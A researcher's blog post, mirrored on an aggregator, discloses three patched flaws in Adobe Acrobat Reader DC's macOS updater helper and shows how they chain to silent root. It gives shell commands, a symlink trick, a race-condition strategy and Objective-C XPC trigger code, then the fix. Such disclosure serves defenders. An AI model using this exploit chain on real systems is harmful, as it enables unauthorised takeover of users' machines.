51

Security Flaws in Adobe Acrobat Reader Allow Malicious Program to Gain Root on m...

 3 years ago
source link: https://rekken.github.io/2020/05/14/Security-Flaws-in-Adobe-Acrobat-Reader-Allow-Malicious-Program-to-Gain-Root-on-macOS-Silently/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Today, Adobe Acrobat Reader DC for macOS patched three critical vulnerabilities(CVE-2020-9615, CVE-2020-9614, CVE-2020-9613) I reported. The only requirement needed to trigger the vulnerabilities is that Adobe Acrobat Reader DC has been installed. Normal user on macOS(with SIP enabled) can locally exploit this vulnerabilities chain to elevate privilege to the ROOT without a user being aware. In this blog, I will analyze the details of vulnerabilities and show how to exploit them.

0x1 Background

Root process has super power, it almost can do anything, reading/writing all sensitive files/databases such as Images/Calendars. However in modern macOS, root processes outside of sandbox are rare, most macOS builtin services run within sandbox. They are no longer the king, they imprison themselves in a cage based on declarative sandbox profile rules.

Good news, popular softwares with high privileged services are new good target in addition to macOS builtin services, so Adobe Acrobat Reader DC catch my attention.

0x2 Analysis

com.adobe.ARMDC.SMJobBlessHelper within /Library/PrivilegedHelperTools/ is one of the components of Adobe Acrobat Reader DC, responsible for software updating. It run as root and no sandbox is applyed, and hosts a XPC service named SMJobBlessHelper(com.adobe.ARMDC.SMJobBlessHelper). Most XPC services will check its connection client before doing any actual work, so does SMJobBlessHelper.

Vulnerability 1: Bad Checking of NSXPC Connection Client

SMJobBlessHelper is based on NSXPC, its client checking exists in [SMJobBlessHelper listener:shouldAcceptNewConnection:]. The checking logic is as pseudo code shows below, get client’s pid, and then obtain Bundle ID based on client’s process path, client will be trusted if its Bundle ID is “com.adobe.ARMDC”.

pid = [NSXPCConnection processIdentifier];
proc_pidpath(v7, proc_path, 0x1000u);
bundle = [NSBundle bundleWithPath:proc_path];
bd_id = [bundle bundleIdentifier];

if (bd_id == "com.adobe.ARMDC"){
    // Accept client's XPC connection request
}

But what is NSBundle, can we trust it?

Apple says it is “A representation of the code and resources stored in a bundle directory on disk.”, so it’s just a directory structure with some well-defined subdirectories/files. Bundle ID is obtained from Contents/Info.plist of the directory structure.

Directory structure is certainly not credible, we can forge any Bundle ID by creating our own special bundle directory.

Vulnerability 2: Temp Directory Root Protection Can Be Bypassed

As the pseudo below show, in the updating process before SMJobBlessHelper launch ARMDCHammer, download folder(in bundle’s parent directory) will be moved to /var/folders/zz/xxxxx/T/. Unfortunately after directory moving, the owner of “/var/folders/zz/xxxxx_n0000000000000/T/download” is root, and normal user DO NOT have access to it. So it means that we can not change it and its sub files any more.

move("./download", "/var/folders/zz/xxxxx/T/download");

if (validateBinary("/var/folders/zz/xxxxx/T/download/ARMDCHammer")){
	launch("/var/folders/zz/xxxxx/T/download/ARMDCHammer");
}

But, the designer may forget the symlink.

If ./download/ARMDCHammer is a symlink, after being moved to /var/folders/zz/xxxxx/T/download, does the symlink still be valid?

Yes. symlink is still valid, it can help us to bypass temp directory protection. I can force /var/folders/zz/xxxxx/T/download/ARMDCHammer to link to anywhere.

Vulnerability 3: validateBinary and launchARMHammer Has a Race Condition window

With the help of the vulnerability 2, we can force validateBinary() to check /tmp/test/hello_root.

The logic exists in [SMJobBlessHelper doWork].

if (validateBinary("/tmp/test/hello_root")){
    launchARMHammer("/tmp/test/hello_root");
}

validateBinary and launchARMHammer all use program path, and we have write permission to this path.

So if we can replace the “/tmp/test/hello_root” with our malicious file after validateBinary, launchARMHammer will launch our malicious process.

You may think the race condition window is too narrow to control, I will show the tricks later.

0x3 Exploitation

Bypass Checking of NSXPC Connection Client

As explained before, NSBundle is not trusted, so we try to forge a NSBundle, with its bundle id is “com.adobe.ARMDC”. For saving time, we copy Adobe’s original bundle from “/Library/Application Support/Adobe/ARMDC/Application/Adobe Acrobat Updater.app”.

echo "copy Adobe Acrobat Updater.app"

cp -r "/Library/Application Support/Adobe/ARMDC/Application/Adobe Acrobat Updater.app" /tmp/test/exploit

Then compile our NSXPC Exploit client, copy it to Adobe Acrobat Updater.app/Contents/MacOS/

cd /tmp/test/exploit
echo "compiling SMJobBlessHelper-Exploit"
clang -framework Foundation SMJobBlessHelper-Exploit.m -o SMJobBlessHelper-Exploit

echo "move SMJobBlessHelper-Exploit to Adobe Acrobat Updater.app"
mkdir "Adobe Acrobat Updater.app/Contents/MacOS"
mv SMJobBlessHelper-Exploit "Adobe Acrobat Updater.app/Contents/MacOS/"

Now, SMJobBlessHelper-Exploit, being launchd as a NSXPC client, will pass through [SMJobBlessHelper listener:shouldAcceptNewConnection:]’s check.

Bypass Temp Directory Root Protection

DoWorkAndLauchHammer(){
    move("./download", "/var/folders/zz/xxxxx/T/download");

    if (validateBinary("/var/folders/zz/xxxxx/T/download/ARMDCHammer")){
        launch("/var/folders/zz/xxxxx/T/download/ARMDCHammer");
    }
}

Symlink can help us, before SMJobBlessHelper moves our download directory, we create symlink at our own download directory.

$ cd /tmp/test
$ mkdir download
$ ln -s /tmp/test/hello_root ./download/ARMDCHammer
$ ls -l download/
total 0
lrwxr-xr-x  1 rekken  staff  72  4 12 16:04 ARMDCHammer -> /tmp/test/hello_root

Then we trigger SMJobBlessHelper’s XPC interface, /tmp/test/exploit/download is moved to /var/folders/zz/xxxxx/T/download.

Now, we can see symlink in /tmp/test/exploit/download/ is still pointing to /tmp/test/hello_root.

$ sudo ls -l /var/folders/zz/xxxxx/T/download
total 0
lrwxr-xr-x  1 rekken  staff  72  4 12 16:04 ARMDCHammer -> /tmp/test/hello_root

So, with the help of symlink we change checking logic:

DoWorkAndLauchHammer(){
    move("./download", "/var/folders/zz/xxxxx/T/download");

    if (validateBinary("/tmp/test/hello_root")){
        launch("/tmp/test/hello_root");
    }
}

Find a Valid ARMDCHammer to Meet validateBinary’s Requirement

validateBinary use builtin codesign command to check if /var/folders/zz/xxxxx/T/download/ARMDCHammer is valid or not.

validateBinary("/var/folders/zz/xxxxx/T/download/ARMDCHammer");

The parameters passed to codesign are as below:

(lldb) po $rcx
(
    "--verify",
    "-R=identifier ARMDCHammer and anchor trusted and anchor apple generic and certificate leaf[subject.CN] = \"Developer ID Application: Adobe Systems, Inc. (JQ525L2MZD)\"",
    "/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/download/ARMDCHammer"
)

Where can we find the valid ARMDCHammer?

I write a script, which search the full local disk for ARMDCHammer, and finally gain nothing. But it must exist, isn’t it?

Since it is not on the local drive, it should have been downloaded on demand. I reverse a lot of binary files, and found the cute download url in Acrobat Update Helper.app. Downloading and extracting the archive, in the end, I catch the ARMDCHammer I’m looking for.

RjEZFbJ.png!web

Q7fu6jV.png!web

$ codesign --verbose --verify -R="identifier ARMDCHammer and anchor trusted and anchor apple generic and certificate leaf[subject.CN] = \"Developer ID Application: Adobe Systems, Inc. (JQ525L2MZD)\"" ~/Downloads/ARMDCContents2/ASSET/Contents/MacOS/ARMDCHammer

/Users/rekken/Downloads/ARMDCContents2/ASSET/Contents/MacOS/ARMDCHammer: valid on disk
/Users/rekken/Downloads/ARMDCContents2/ASSET/Contents/MacOS/ARMDCHammer: satisfies its Designated Requirement
/Users/rekken/Downloads/ARMDCContents2/ASSET/Contents/MacOS/ARMDCHammer: explicit requirement satisfied

Race Condition Between validateBinary and launchARMHammer

The time window between validateBinary and launchARMHammer is narrow. OPLock can help us to freeze time in Windows, unfortunately, there is no alternatives like that in macOS.

DoWorkAndLauchHammer(){
    move("./download", "/var/folders/zz/xxxxx/T/download");

    if (validateBinary("/tmp/test/hello_root")){
        launch("/tmp/test/hello_root");
    }
}

We split our works into three parts, each part uses a separate thread.

Thread 1: Circularly replace files frequently

Symlink in /var/folders/zz/xxxxx/T/download point to /tmp/test/hello_root, so we replace it circularly.

Step 1: move /tmp/test/ARMDCHammer to /tmp/test/hello_root,
Step 2: sleep
Step 3: move /tmp/test/hello_root to /tmp/test/ARMDCHammer
Step 4: sleep and goto Step 1

Thread 2: Prepare download directory and symlink frequently

Step 1: create /tmp/test/orig_download directory, create symlink /tmp/test/orig_download/ARMDCHammer pointing to /tmp/test/hello_root

Step 2: copy /tmp/test/orig_download to /tmp/test/download

Step 3: sleep

Step 4: goto Step 2 when /tmp/test/download disapears

Thread 3: Trigger NSXPC DoWorkAndLauchHammer interface

while(1){
    NSXPCConnection * connectionToService = [[NSXPCConnection alloc] initWithMachServiceName:@"com.adobe.ARMDC.SMJobBlessHelper" options: 0];
    connectionToService.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SMJobBlessHelperProtocol)];
    [connectionToService resume];

    id remote = [connectionToService remoteObjectProxyWithErrorHandler:^(NSError *proxyError) {
        NSLog(@"error: %@", proxyError);
    }];
    [remote DoWorkAndLauchHammer: ^(_Bool retcode) {
        //
    }];
}

The reason we need Thread 1 is obvious, why we need separate Thread 2 and Thread 3?

High-frequency NSXPC interface call requests which make the server busy can increase the probability of success. With multi-threads running, the race condition needs a very short time. In my test, most test cases needs only 1~3 seconds, and the best case only takes a blink of time.

0x4 Demo

2e2Qjum.gif

0x5 Patch

The most important part of vulnerability patch is adding a new function named -[SMJobBlessHelper validatePaths], before validateBinary and launch, it check the path is symlink or not. It breaks the only way which must be passed.

bool -[SMJobBlessHelper validatePaths](path){
    if(fileIsSymbolicLink(path)){
        return false;
    }
    return true
}


DoWorkAndLauchHammer(){
    move("./download", "/var/folders/zz/xxxxx/T/download");

    if(validatePaths("/var/folders/zz/xxxxx/T/download")){
        if (validateBinary("/var/folders/zz/xxxxx/T/download")){
            launch("/var/folders/zz/xxxxx/T/download");
        }
    }
}

0x6 Conclusion

In this blog, I analyzed the three logic vulnerabilities in Adobe Acrobat Reader and show how to exploit them to gain root without sandbox limitation. As a almost per-device required software, its security matters to macOS.

Ping me( @yuebinsun ) if you have any question.

Thanks to R3dF09( @R3dF09 ) for the help in the analysis.


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK